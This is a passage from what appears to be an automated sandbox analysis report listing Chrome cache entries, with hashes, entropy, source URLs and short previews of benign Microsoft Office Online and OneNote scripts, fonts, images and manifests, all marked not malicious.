Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	149717
Entropy (8bit):	5.369695124651198
Encrypted:	false
SSDEEP:	3072:qCfY4NSf2mB5iDTITCeeTCTpuzoZ2GIEmQw+IiwqHNwNcC/uO5:ffY4A2YcTgwGFgeINn
MD5:	BBCB9314BCA450F657335E97F7FAFDD4
SHA1:	5C06CDA9920C3FE6E09317E217F5AFA323D65E57
SHA-256:	4C1C8AD96C1C12229050FB1BD9708AB366633C5A66E1DB5981A6FCCB2F9F4AF5
SHA-512:	731B8C7A51C438843162EB0DAEB6195DB3AF69949E15723DC99EF53D582C670DF4E423BEF208324D872AEBDAE7D01D3105187AE63DE9E4E2FCBB52B0378A904F
Malicious:	false
Reputation:	low
URL:	https://wise.public.cdn.office.net/wise/owl/onenote-boot.9b8b959024767cc8e6ba.js
Preview:	var Microsoft="object"==typeof Microsoft?Microsoft:{};Microsoft.Office=Microsoft.Office\|\|{},Microsoft.Office.OneNote=function(e){var t={};function n(i){if(t[i])return t[i].exports;var o=t[i]={i:i,l:!1,exports:{}};return e[i].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=e,n.c=t,n.d=function(e,t,i){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:i})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var i=Object.create(null);if(n.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)n.d(i,o,function(t){return e[t]}.bind(null,o));return i},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnPro

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	low
Preview:	0

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7381)
Category:	downloaded
Size (bytes):	7431
Entropy (8bit):	5.275701730643143
Encrypted:	false
SSDEEP:	96:Q5He1ELGvyFMeWVQHR8CVEEgqkVAW6KlYfVkzcfGP3hVUmVnPkWQmd5eSDRjq62o:aS6SWgDVAzK+fnUhJtPk5OtR2S
MD5:	87EF5E301BD039E382F614C560E14B87
SHA1:	FA13505595871B7E85164964927D6BAC7DC6ED8E
SHA-256:	DFE3BF4BB16C8CD7E3DCA50CABBA67C781446C8A5B2F103F4AB32B6702D1AD09
SHA-512:	CEF3E2B48FFAB04EF3D2DD66F4A3D7F767034AD897B27ED227981A3D396A668864F9AC324B94F71CBFC4548608C27F0F5EFEF49838BD922B827F50EDAAE93DFB
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/wp5/appResourceLoader.min.js
Preview:	var appResourceLoader;!function(){"use strict";var e,n,t,o,r={33494:function(e,n,t){t.r(n),t.d(n,{init:function(){return u.S1},loadChunk:function(){return y},loadIntlBootResources:function(){return a}});var o,r=t(37832),i=!1;function a(e){var n="onenote-ribbon-intl.min.js";return i\|\|(o=(0,r.loadScript)(n,e.scriptBaseUrl.concat(n),void 0,5),i=!0),o}var c,u=t(41259),s="appChrome",l="canvasAtMentions",d="loopLoadingManager",f="navigation",p="onenote-navpane-strings",h="onenote-ribbon-intl",m="onenote-whatsnew-strings",v="sharedComments",b="comment-pane-strings",g=((c={})[s]={dependencies:[h]},c[d]={},c[v]={dependencies:[b]},c[l]={dependencies:[b]},c[f]={dependencies:[p,m]},c[h]={isLocalized:!0},c["onenote-ribbon-sprite-lazy"]={isLocalized:!0},c["onenote-ribbon-intl-lazy"]={isLocalized:!0},c["onenote-intl-mlr-lazy"]={isLocalized:!0},c[p]={isLocalized:!0},c[m]={isLocalized:!0},c["onenote-ribbon-sprite"]={isLocalized:!0},c["onenote-mlr-sprite"]={isLocalized:!0},c["onenote-mlr-sprite-lazy"]={

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 151924, version 0.0
Category:	downloaded
Size (bytes):	151924
Entropy (8bit):	7.996755078799659
Encrypted:	true
SSDEEP:	3072:izu4By5vR4gdzOjZHpybtAVOZ71Q1gcq0WTo7wSRhpFY/iw2yQ0X2+6L0aR/h:iznyHBmNMJcOd1ro719FY/ilyQ0Gp
MD5:	E80FF72E03E780056CFDBD85C63404CE
SHA1:	C450A1A6233F0FBC6DBFFB7FEE251E378F64EF32
SHA-256:	05828D625DCB5781D0A3CC67A2429CED535FDF848B8B8075D49751EB5B30C7AF
SHA-512:	D819D75CA896AF15F99185F87AF40A85A0FA6941B9E08974C6569123B601DCC8E043BE1C0F5C154E37A351A046B57D5196002B16FA7102761E3C0961D92CAC8D
Malicious:	false
Reputation:	low
URL:	https://spoprod-a.akamaihd.net/files/fabric/assets/icons/fabricmdl2icons.woff
Preview:	wOFF......Qt................................OS/2...X...H...`JZ}.VDMX.............^.qcmap................cvt ...\... ...*....fpgm...\|.......Y...gasp...l............glyf...x..$...0.{.yyhead..7`...6...6%.d.hhea..7........$7.5.hmtx..7....M... .N..loca..<....q...D...maxp..K\|... ... .\|..name..K....8.......post..P........ .Q.wprep..P.........x...x.c`.`a......:....Q.B3_dHc..`e.bdb... .`@..`......os9.\|...V...)00......x...S......._..m.m.m.m.m;e..y.~.......<p..a.0t.&...a.pa.0B.1..F...Q.ha.0F.3.....q.xa.0A.0L.&...I.da.0E.2L....i.ta.0C.1..f...Y.la.0G.3.....y.\|a..@X0,.....E.ba.DX2,....e.ra..BX1..V...U.ja..FX3.....u.za..A.0l.6...M.fa.E.2l....m.va..C.1..v...].na..G.3......}.~a.p@80......C.a..pD82.....c.q..pB81..N...S.i..pF83.....s.y..pA.0\.....K.e..pE.2\....k.u..pC.1..n...[.m..pG.3......{.}...@x0<.....G.c...Dx2<....g.s...Bx1..^...W.k...Fx3.....w.{...A.0\|.>...O.g...E.2\|....o.w...C.1..~..._.o..08........?..0$........x...wx.....;..j..fwf....R. %.....4......"<.w..A.<..H.C'.E.E..

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	89749
Entropy (8bit):	5.907896932868388
Encrypted:	false
SSDEEP:	1536:TF7qkDiiBSPqAYXUJqc9a/qc9aJyXUEUx:J7j7B4S6RaVC
MD5:	1BF11FC2DBDB5C48B7D60F5005583417
SHA1:	DF52B131F6B151E674204CBA77082EFAEFBC3F8C
SHA-256:	172E218E70CC419328B7AAB580615DA2A562E1508EAC9AC3014C52C51F2F50EC
SHA-512:	A40545B0B88AAF5EC4D28015B72451CE6F19073FC7E1CF6A8B08EEAB6D173CCE9E62553CACFDA7FE0FB4DDECB2E09E8B966C6466AE50AC31193481D82898ECB6
Malicious:	false
Reputation:	low
Preview:	.<?xml version="1.0" encoding="UTF-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0" xmlns:ov="http://schemas.microsoft.com/office/taskpaneappversionoverrides" xsi:type="TaskPaneApp">...<Id>90da59be-5361-4260-9218-2262af1dc334</Id>...<Version>1.0.0.0</Version>...<ProviderName>Microsoft Corporation</ProviderName>...<DefaultLocale>en-US</DefaultLocale>...<DisplayName DefaultValue="Add Meeting Details">.... START STRING LOCALIZATION REPLACEMENT (StringID: OfficeAddIns.Meetings.ManifestDisplayName -->......<Override Locale="af-ZA" Value="Voeg vergaderingbesonderhede by" />....<Override Locale="en-US" Value="Add Meeting Details" />....<Override Locale="am-ET" Value="..... ...... ...." />....<Override Locale="ar-SA" Value="..... ...... ........" />....<Override Locale="as-IN" Value="..

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2309
Entropy (8bit):	5.3100634841857755
Encrypted:	false
SSDEEP:	48:EqQWqoCNWqoJTY4TbiNWqoaNWqonNWqoPNWqoqrogAd41n791RapkHTKNqMxNWqI:hQWqoeWqojb+WqomWqoNWqoFWqoup1nr
MD5:	EF03179D2FDFC8BC3574EC8DCC6D89C2
SHA1:	FB43798F897F427DF04979D1DA67B03D869DD6FF
SHA-256:	F88AA22898D7008C9C808489C7D8695BE6FFC16E2F018BB71DB7D54B9A2703E3
SHA-512:	9D08F33C38DDE6F481AFE8E5180E665E08525B0F52455D6FA080D2216C649E999081CCEE4B3910633BF757FDD11D5134C31B5AC3EE7AD465A06E4411FF12F4F2
Malicious:	false
Reputation:	low
URL:	https://www.onenote.com/officeaddins/learningtools/?et=
Preview:	......<!DOCTYPE html>..<html lang="en-US">..<head>...<meta charset="utf-8">...<title></title>......<script type="text/javascript" src="https://cdn.onenote.net/officeaddins/161762240456_Scripts/CommonDiagnostics.js" crossorigin="anonymous"></script>...<script type="text/javascript" src="https://cdn.onenote.net/officeaddins/161762240456_Scripts/BrowserUls.js" crossorigin="anonymous"></script>.......<script>.....var EnableClientSideLogging = true;....</script>......<script type="text/javascript" src="https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.5.0.min.js"></script>...<script type="text/javascript" src="https://cdn.onenote.net/officeaddins/161762240456_Scripts/ExternalResources/js-cookie.js" crossorigin="anonymous"></script>...<script type="text/javascript" src="https://cdn.onenote.net/officeaddins/161762240456_Scripts/pickadate.min.js" crossorigin="anonymous"></script>...<script type="text/javascript" src="https://cdn.onenote.net/officeaddins/161762240456_Scripts/Instrumentation.js" c

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	E0AA021E21DDDBD6D8CECEC71E9CF564
SHA1:	9CE3BD4224C8C1780DB56B4125ECF3F24BF748B7
SHA-256:	565339BC4D33D72817B583024112EB7F5CDF3E5EEF0252D6EC1B9C9A94E12BB3
SHA-512:	900110C951560EFF857B440E89CC29F529416E0E3B3D7F0AD51651BFDBD8025B91768C5ED7DB5352D1A5523354CE06CED2C42047E33A3E958A1BBA5F742DB874
Malicious:	false
Reputation:	low
Preview:	OK

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 222 x 204, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6336
Entropy (8bit):	7.887073484659419
Encrypted:	false
SSDEEP:	192:wx46x27I7L8lRcTx3HCHBDA3B6VHj6V+Jcj:Ktv8lROx34ZA3B6VH+kO
MD5:	5D71229F6CA9EBFF5F7972F01B547C7C
SHA1:	4D71B33506E6F0EBA1C783DE37E36480F2E392BE
SHA-256:	ABC0FA95B72F082CF4FBB18267CDBD282F2909B65B1B479D7F339DB41769946E
SHA-512:	31915EB859D432D714CAA2DFF74B7E760DFFE3A672CD872EB8CF07EDDC3B544578640C315CD47802B34F4BF06B31D290C9CBEAB228BC1FA64BDAF36DC523273A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............y.'....IDATx^.....y.....)...5..MT....6./..f.m,@......W.A...o&..$.Q."7............ 0k.VdI..VL.`...w.k\|;...u....=.sf.~....s.9g/w..9.<.93..".H$]]..ttt......7g.ys.0}zg..3u....E.$C...G....\|'N...jk.f.....i..X0....X8....C....^;v..:..:.a.m....rz.x<..c..q..>..S...t.s....<...o..Cw.y......<x...*....6e........3.._..9H.f..}.._......m.F.#.Wd...(.J........\|yB....\|...+."O+.B.=..^.6-cK...\|./.t..m .f._...F.E.oum\..>.7l..l.<.f..[.H.mZFiC...-_..#....[.d..{........Z.~dd.......t.../`S.^.z...........-....Gm...n....m..2...#n!%..Ci.j..t....7..M...........8t.......^..h..d..]a.....K....L.....x6\|6xM.s.M.../.]...=..........<4..l.......e......>J1.....D.;w.\|..fY...x........m....W.+...9.Q>S.l..J.U.f0..._Z..Y....._s.O..!.2....u&..zo.z.-..>S..p....... .....x=u..2.M.jGb..G9.V.<;d."x@...@.......c.f.p......5....ZQ..8].<^.)c..f(.W....[...^.....gCW&.$i...I.&x.0.~8..!.x.t../>.c..:.(..cN..]XD..-...gk{.gCW9....<.'.l.... ..v.........<.....).

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65526), with no line terminators
Category:	downloaded
Size (bytes):	272885
Entropy (8bit):	5.822230271189
Encrypted:	false
SSDEEP:	3072:5sV/EY0VJL3sx+u1wD7pOPaXD9NSt19frKLix3a:5sN16QkMt1h3a
MD5:	5E32E9126ABFD0EB21EB64F14208D8B2
SHA1:	55AC549D0B69A8C332F00AD4C49A91B0E8CA2C4D
SHA-256:	A2ABDA2344B2555E9331B1677D27AA795A28383C234230D4A12738FA54E0934D
SHA-512:	1F7F42E04C07495C6BF2EB45CCB7A3FC4F738F20E23DD1BCA4E464BCBE09723BF061374A25DB2E2BDB644DC272F4ED8962C7472BFEF5106BC949D187B5A5B023
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/wp5/oreonavpane.min.js
Preview:	(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[682],{69219:function(e,n,t){var o=t(93556),i=t(78267)(o);i.push([e.id,".menu__menu___J9EM_ {\n overflow: hidden;\n}\n\n.menu__menu___J9EM_ .ms-FocusZone.ms-ContextualMenu.is-open {\n font-family: 'Segoe UI', Arial, Verdana, Sans-serif;\n font-size: 12px;\n color: #444;\n z-index: 1001;\n min-width: auto;\n background-color: white;\n overflow: hidden;\n}\n\n.ms-ContextualMenu-item.menu__item___HMPdI .ms-ContextualMenu-link[disabled]:hover {\n background-color: transparent;\n border-color: transparent;\n transition: none;\n}\n\n.ms-ContextualMenu-item.menu__item___HMPdI .ms-ContextualMenu-link.is-expanded,\n.ms-ContextualMenu-item.menu__item___HMPdI .ms-ContextualMenu-link:hover {\n background-color: #f0daee;\n border-color: #f0daee;\n color: inherit;\n font-weight: inherit;\n}\n\n.menu__menu___J9EM_ .ms-ContextualMenu-divider {\n height: 1px;\n margin-left: 20px;\n margin-right: 5px;\n display:

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows cursor resource - 1 icon, 32x32, hotspot @16x21
Category:	dropped
Size (bytes):	2238
Entropy (8bit):	0.5981083989368443
Encrypted:	false
SSDEEP:	6:Gl/w//6lL15/J1SlX8tn1KsCEss1191919191rsrXd222222Q:CwXOh5X28t1KsCEH3333rR
MD5:	40E83BC5D22C7A23066AA9B464D31ABA
SHA1:	1646333637A841334449B00F371123BD1B6501D3
SHA-256:	A9EB9D74CA2A1D3046AC2CB018629C9C1DC4F18433DC6DEF6EA8AE5E9D860C18
SHA-512:	B15ECBEEEF4DA84F94E0A90BB273CE3B647C013CF89C596D1C654AB48801D775EF731A14B3C85AD310A722409CC8D01F4D75F1132E7F9555FAF099127D9EE5AC
Malicious:	false
Reputation:	low
Preview:	...... ..............(... ...@.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9332)
Category:	downloaded
Size (bytes):	9366
Entropy (8bit):	5.100044416281923
Encrypted:	false
SSDEEP:	192:Bm8MfbxX4bj4uB4qHgUU4Y1704v4IJ4e43964qjL4+5i42:Bm8yRKjzy4O0G7XS9yjLG7
MD5:	CEA551DE0A6BD3D5C65E4985112ACCB9
SHA1:	06BF1EB67EE880B8538EBA87ACDF09922338DB1A
SHA-256:	84FC11B5CA5C920B10BD8049A5471EBF757D38A9DC770262356251F73F050573
SHA-512:	6C7FA87D19060604CAC5F8B35E20BDB82F138611B49B29FACA2918378A347E708D91C7E99DE05E4D2AA5515AF81E964A1AC77D9E71147CCF5A7FA04CB90D01CB
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/files/odsp-web-prod_2024-04-12.007/wacowlhostwebpack/9.js
Preview:	"use strict";(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([[9],{107:(e,t,n)=>{n.r(t),n.d(t,{getFirstConsistentlyInteractive:()=>u});var a=n(0),i=0,r=["img","script","iframe","link","audio","video","source"];function o(e,t){for(var n=0,a=e;n<a.length;n++){var i=a[n];if(t.includes(i.nodeName.toLowerCase())\|\|o(i.children,t))return!0}return!1}function s(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];c()&&console.log.apply(console,e)}function c(){try{if("sessionStorage"in window&&window.sessionStorage){var e=window.sessionStorage.enableTTILogging;return e&&"true"===e.toLowerCase()&&"undefined"!=typeof console&&!!console}}catch(e){}return!1}function d(e,t){if(e.length>2)return performance.now();for(var n=[],a=0,i=t;a<i.length;a++){var r=i[a];n.push({timestamp:r.start,type:"requestStart"}),n.push({timestamp:r.end,type:"requestEnd"})}for(var o=0,s=e;o<s.length;o++){var c=s[o];n.push({timestamp:c,type:"requestStart"})}n.sort(function(e,t){return e.timestamp-t.time

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24306), with CRLF line terminators
Category:	downloaded
Size (bytes):	24452
Entropy (8bit):	5.328428296210481
Encrypted:	false
SSDEEP:	384:9CT9tmaKmjfU6/pyX98SRCRrXeFxf/biyMFRwV6ApqVblbtA69E/YNwwOIUAttmU:9CT9tmaXU6/pyN8SRCRrXeFxf/biyMF9
MD5:	AC459993971D136B5C420665B272E101
SHA1:	3C84797F6C43434519212E1AE74E84C4BC9E133A
SHA-256:	883922A710E857E94B35FD6748792782280A859E154E4DB2E4C0B4876DFA61AE
SHA-512:	35DDE4930521684FC51EB5E521D23259DB9A17455F572CCE8BF3E319BE1D69B0571D6E38AB9C72F5801E8777F567AED9742970E6409C0C77C255E995362B5477
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/hammer.min.js
Preview:	/! Hammer.JS - v2.0.8 - 2019-03-19.. http://hammerjs.github.io/.. .. Copyright (c) Jorik Tangelder;.. * Licensed under the MIT license */..(function(window,document,exportName,undefined){"use strict";function ifUndefined(val1,val2){return val1===undefined?val2:val1}var STATE_POSSIBLE=1;var STATE_BEGAN=2;var STATE_CHANGED=4;var STATE_ENDED=8;var STATE_RECOGNIZED=STATE_ENDED;var STATE_CANCELLED=16;var STATE_FAILED=32;var assign=void 0;if(typeof Object.assign!=="function"){assign=function assign(target){if(target===undefined\|\|target===null){throw new TypeError("Cannot convert undefined or null to object")}var output=Object(target);for(var index=1;index<arguments.length;index++){var source=arguments[index];if(source!==undefined&&source!==null){for(var nextKey in source){if(source.hasOwnProperty(nextKey)){output[nextKey]=source[nextKey]}}}}return output}}else{assign=Object.assign}var assign$1=assign;var _uniqueId=1;function uniqueId(){return _uniqueId++}function each(obj,iterator,con

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65535), with no line terminators
Category:	downloaded
Size (bytes):	291469
Entropy (8bit):	5.339176849068293
Encrypted:	false
SSDEEP:	6144:drQUjLm+AvPSIoPaqKmMlHhdGt4VupgYz:dsUjNKJlHk
MD5:	4D54C88348C388039F25853FDFC7F0A7
SHA1:	3E0CE0085A9BFDC3EB29773765003F9CD6764A67
SHA-256:	CD8696D7E912E06DE31475979C917AA2F0E58D1790CACC7E6874C9B4E2AF1872
SHA-512:	27322204F4E60AD39DB3B2FDC2B0FCC5984FA14C96878F6937ABA03622191A9EE33D60636C7A0C5FE9BAFEE340AAFCB7BD163372665ACAA496D8A008C01D5A09
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/wp5/appIconsLazy.min.js
Preview:	(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[825],{31362:function(t,e,r){t.exports={default:r(42327),__esModule:!0}},51394:function(t,e,r){t.exports={default:r(68359),__esModule:!0}},3635:function(t,e,r){t.exports={default:r(77798),__esModule:!0}},96601:function(t,e,r){t.exports={default:r(43009),__esModule:!0}},58265:function(t,e,r){t.exports={default:r(90475),__esModule:!0}},69123:function(t,e,r){t.exports={default:r(50899),__esModule:!0}},65629:function(t,e,r){t.exports={default:r(66640),__esModule:!0}},74361:function(t,e){"use strict";e.__esModule=!0,e.default=function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}},21492:function(t,e,r){"use strict";e.__esModule=!0;var i,s=(i=r(3635))&&i.__esModule?i:{default:i};e.default=function(){function t(t,e){for(var r=0;r<e.length;r++){var i=e[r];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),(0,s.default)(t,i.key,i)}}return function(e,r,i){retu

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (61584), with CRLF line terminators
Category:	downloaded
Size (bytes):	127321
Entropy (8bit):	3.8975903207588436
Encrypted:	false
SSDEEP:	3072:cdNCAXsHQxmPHmLZyb92FcFxSYJVBp0HoU:LA8HQxaG0AExSYJVGN
MD5:	F5E2440C7CBE6298492A15C495B2339F
SHA1:	550112B8722232F58D2840650444FA4988DCB68A
SHA-256:	50E8DDE014DD02234F971C2A93E1A754F4572751748ECDF094D4720066AEBDA5
SHA-512:	68268EA5B1AEA838F126168840A04E4E7E0F01B3CEBB9043A669BB0535C9A8C1B5360597770D6303EE95BBB08797E9168ACDC61282AC423DCED676F1CA4C09EA
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/OneNoteSimplified.Wac.TellMeSuggestionModel.js
Preview:	var CoefficientModelIdMap= {34:'ApplyStyleGallery',21:'ToggleRecycleBinVisibility',10:'Undo',70:'ClearFormatting',45:'floatiefsfaMoreStyles',154:'NT10',165:'ChangePageColor',84:'NT12',20:'ShowAccCheckerPane',141:'MenuNumbering',93:'SpellingMenu',131:'floatiebtnImageShrink',72:'TextDirLTR',118:'LockAspectRatio',94:'InsertEmojiGallery',124:'EnterInkingHighlighterMode',1:'TellMeMenuItemExecuted',101:'Superscript',158:'ChangeToInkShorthandColor_3',16:'LaunchAppForOfficeDialog',97:'floatieidTableDelete',160:'floatiefsbcUnderline',111:'Copy',107:'Paste',29:'InsertPicture',33:'Numbering',128:'mnuVersionLauncher',105:'mnuConflictPageLauncher',4:'mnuSpellingErrorLauncher',161:'SmartLookupFromTellMe',164:'ClearCellShadingColor',13:'90da59be-5361-4260-9218-2262af1dc334Button1id',61:'TellMeSearchResultChange',121:'floatiefseaDelete',39:'InsertPrintoutDialog',59:'floatiebtnImageCropDialog',173:'PauseMedia',127:'EnterMathMode',178:'NT5',50:'AlignLeft',30:'FormatPainter',0:'flyNoteTags',75:'NT11',188

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (29629)
Category:	downloaded
Size (bytes):	108060
Entropy (8bit):	5.408180419794
Encrypted:	false
SSDEEP:	1536:sZEHGeU/fm4c5oRx+eL4ae6QjxlnjtRl2FbbkEOKG:lvU/fm4UeL4ae6QtRlIkz
MD5:	279F2A92C0056CC088BC09A359859F88
SHA1:	889E60C8F8FC2325AFE78B3919087B0435D96B64
SHA-256:	4EC36C75BB65EF4163603805E82BF1A4E4939E742F68B2AF1A0A29A0DB3635D5
SHA-512:	5544A2CF7EE13FF1D1A1A43575DAA5F02D5C88CC4007A832E4E85236D5431978A54B11E63A92E71CBE32C755F31B971A1F430E33DC9222271FBDC770EFB1A12E
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/suiteux-shell/js/suiteux.shell.otellogging.js
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_otellogging_start"),(self["suiteux_shell_webpackJsonp_suiteux-main"]=self["suiteux_shell_webpackJsonp_suiteux-main"]\|\|[]).push([["otellogging"],{5642:function(n,e,t){var r=t(44772),i=t(95898),o=t(90123),u=t(59370),a=t(18591),c=t(93765),s=t(6782),f=t(13057),l=t(31635),d=function(n){function e(){var t=n.call(this)\|\|this;return t.pluginVersionStringArr=[],(0,i.Z)(e,t,(function(n,e){n.logger&&n.logger.queue\|\|(n.logger=new o.AQ({loggingLevelConsole:1})),n.initialize=function(t,r,i,s){(0,u.Lm)(n,(function(){return"AppInsightsCore.initialize"}),(function(){var u=n.pluginVersionStringArr;if(t){t.endpointUrl\|\|(t.endpointUrl=f.YT);var l=t.propertyStorageOverride;!l\|\|l.getProperty&&l.setProperty\|\|(0,a._y)("Invalid property storage override passed."),t.channels&&(0,a.tO)(t.channels,(function(n){n&&(0,a.tO)(n,(

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30497), with no line terminators
Category:	downloaded
Size (bytes):	30497
Entropy (8bit):	5.0064253326064065
Encrypted:	false
SSDEEP:	384:NpM3QZmZwe3CDLqHOGRvCEWMYdd9KaAQnzkY65dv:NpM3QZbLqHO4XYdd9KvQnzkY65dv
MD5:	E55F3C2F2F2F2A339E4B0A08030E9803
SHA1:	729D608C534829E07F5DCDBBD75BBC031A9E9D9A
SHA-256:	40CBE329851D4261E0E4A3B3665FD1025747AAC3CBFD87689CF3F2689CACF4E9
SHA-512:	CB67A880ECAA6F59844F6604BB98A7E27AB64F639AC79BA683C164A2A809BFAF1D3B224CC50138846B8646EF05409820AEE490BA83D637145E16A78E67CF4847
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h40CBE329851D4261_App_Scripts/1033/WoncaIntl.js
Preview:	Type.registerNamespace("WoncaIntl");WoncaIntl.WoncaStrings=function(){};WoncaIntl.WoncaStrings.registerClass("WoncaIntl.WoncaStrings");WoncaIntl.WoncaStrings.L_RibbonLabel="Ribbon";WoncaIntl.WoncaStrings.L_TabHome="Home";WoncaIntl.WoncaStrings.L_TabInsert="Insert";WoncaIntl.WoncaStrings.L_TabWordDesign="Design";WoncaIntl.WoncaStrings.L_TabReferences="References";WoncaIntl.WoncaStrings.L_TabMailings="Mailings";WoncaIntl.WoncaStrings.L_TabReview="Review";WoncaIntl.WoncaStrings.L_TabView="View";WoncaIntl.WoncaStrings.L_TabDeveloper="Developer";WoncaIntl.WoncaStrings.L_TabAddIns="Add-ins";WoncaIntl.WoncaStrings.L_TabTableTools="Table Tools";WoncaIntl.WoncaStrings.L_TabLayout="Layout";WoncaIntl.WoncaStrings.L_TabPictureTools="Picture Tools";WoncaIntl.WoncaStrings.L_TabFormatPicture="Format";WoncaIntl.WoncaStrings.L_TabDesign="Design";WoncaIntl.WoncaStrings.L_TabHelp="Help";WoncaIntl.WoncaStrings.L_GroupUndoRedo="Undo";WoncaIntl.WoncaStrings.L_GroupClipboard="Clipboard";WoncaIntl.WoncaString

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	10290
Entropy (8bit):	4.837717444305284
Encrypted:	false
SSDEEP:	192:iAY/Yye00RR2WxnYkSSWmcrKnmuV2UmHPRmCHpoRqiKaUVIv4DLhBA:w0RR2WxnYk5Wmw8ipo0Hu
MD5:	4DF9B0011F8AE623E26116BC635CFB36
